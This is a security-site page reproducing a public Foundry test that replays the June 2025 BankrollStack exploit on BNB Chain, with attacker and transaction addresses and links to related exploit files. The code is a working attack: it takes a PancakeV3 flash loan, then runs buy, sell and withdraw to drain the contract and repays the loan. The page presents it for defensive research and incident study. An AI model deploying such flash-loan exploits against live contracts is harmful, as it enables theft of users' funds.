Public reproduction file

src/test/2025-06/BankrollStack_exp.sol

Public reproduction file for dataset entry BankrollStack.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-06/BankrollStack_exp.sol64 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7 
8// @KeyInfo - Total Lost : 5k USD
9// Attacker : https://bscscan.com/address/0x172dca3e72e4643ce8b7932f4947347c1e49ba6d
10// Attack Contract : 0x92c56dd0c9eee1da9f68f6e0f70c4a77de7b2b3c
11// Vulnerable Contract : 0x16d0a151297a0393915239373897bCc955882110
12// Attack Tx : https://bscscan.com/tx/0x0706425beba4b3f28d5a8af8be26287aa412d076828ec73d8003445c087af5fd
13 
14// @Info
15// Vulnerable Contract Code : https://bscscan.com/address/0x16d0a151297a0393915239373897bCc955882110#code
16 
17// @Analysis
18// Post-mortem : https://x.com/Phalcon_xyz/status/1943518566831296566
19// Twitter Guy : https://x.com/TenArmorAlert/status/1935618109802459464
20// Hacking God : https://x.com/Phalcon_xyz/status/1943518566831296566
21pragma solidity ^0.8.0;
22 
23contract Bankrollstack is BaseTestWithBalanceLog {
24    uint256 blocknumToForkFrom = 51698204 - 1;
25    uint256 flashAmount = 28300000000000000000000;
26 
27    //contracts
28    address constant BUSD = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;
29    address constant PancakeV3Pool = 0x4f3126d5DE26413AbDCF6948943FB9D0847d9818;
30    address constant BankrollStack = 0x16d0a151297a0393915239373897bCc955882110; 
31 
32    function setUp() public {
33        vm.createSelectFork("bsc", blocknumToForkFrom);
34        fundingToken = address(BUSD);
35    }
36 
37    function testExploit() public balanceLog {
38        IPancakeV3Pool(PancakeV3Pool).flash(address(this), 0, flashAmount, "0x00");  
39    }
40 
41    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
42        
43        uint256 buyAmount = IERC20(BUSD).balanceOf(address(this));
44        uint256 repayAmount = 28302830000000000000000;
45 
46        IERC20(BUSD).approve(address(BankrollStack), type(uint256).max);
47 
48        IBankrollStack(BankrollStack).buy(buyAmount);
49        uint256 myTokens  = IBankrollStack(BankrollStack).myTokens();
50        IBankrollStack(BankrollStack).sell(myTokens);
51        IBankrollStack(BankrollStack).withdraw();
52        IERC20(BUSD).transfer(address(PancakeV3Pool), repayAmount);
53    }
54}
55 
56interface IBankrollStack {
57	function donatePool(uint256 tokenAmount) external;     
58	function buy(uint256 tokenAmount) external returns (uint256);
59	function sell(uint256 tokenAmount) external;
60	function myTokens() external view returns (uint256);
61	function myDividends() external view returns (uint256);
62	function withdraw() external;
63}
64

Analysis

Dataset entry

Public Foundry test for “BankrollStack” (2025-06-19). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/basetest.solImported by this file · 142 lines
src/test/interface.solImported by this file · 6133 lines
src/test/2025-06/AAVEBoost_exp.solSame month in the dataset · 78 lines
src/test/2025-06/BankrollNetwork_exp.solSame month in the dataset · 84 lines
src/test/2025-06/BankrollStackPlus_exp.solSame month in the dataset · 168 lines
src/test/2025-06/BasePricePool_exp.solSame month in the dataset · 135 lines
src/test/2025-06/BitCrown_exp.solSame month in the dataset · 96 lines
src/test/2025-06/FixedTokenBSwap_exp.solSame month in the dataset · 158 lines
src/test/2025-06/Gangsterfinance_exp.solSame month in the dataset · 68 lines
src/test/2025-06/GradientMakerPool_exp.solSame month in the dataset · 113 lines
src/test/2025-06/HoldSafe_exp.solSame month in the dataset · 176 lines
src/test/2025-06/InitcodeFactoryFees_exp.solSame month in the dataset · 233 lines
src/test/2025-06/MetaPool_exp.solSame month in the dataset · 151 lines
src/test/2025-06/ParaSwapDAIApproval_exp.solSame month in the dataset · 201 lines
src/test/2025-06/PegaBall_exp.solSame month in the dataset · 104 lines
src/test/2025-06/ResupplyFi_exp.solSame month in the dataset · 138 lines
src/test/2025-06/SiloFinance_exp.solSame month in the dataset · 201 lines
src/test/2025-06/SinstakeZombie_exp.solSame month in the dataset · 138 lines
src/test/2025-06/Stead_exp.solSame month in the dataset · 39 lines
src/test/2025-06/TokenFactory_exp.solSame month in the dataset · 126 lines
src/test/2025-06/TokenVault_exp.solSame month in the dataset · 130 lines
src/test/2025-06/TSAggregatorGeneric_exp.solSame month in the dataset · 111 lines
src/test/2025-06/unverified_8490_exp.solSame month in the dataset · 108 lines
src/test/2025-06/unverified_b5cb_exp.solSame month in the dataset · 115 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x172dca3e72e4643ce8b7932f4947347c1e49ba6d
Attack Contract
0x92c56dd0c9eee1da9f68f6e0f70c4a77de7b2b3c
Vulnerable Contract
0x16d0a151297a0393915239373897bcc955882110

Attack Tx
0x0706425beba4b3f28d5a8af8be26287aa412d076828ec73d8003445c087af5fd

File record

Name: BankrollStack
Path: src/test/2025-06/BankrollStack_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 42f9d3a9e10db1d736e88a06bbd5f59905f32795
Language: Solidity
Size: 65 lines
Date: 2025-06-19
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2025-06/BankrollStack_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 42f9d3a9e10db1d736e88a06bbd5f59905f32795, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.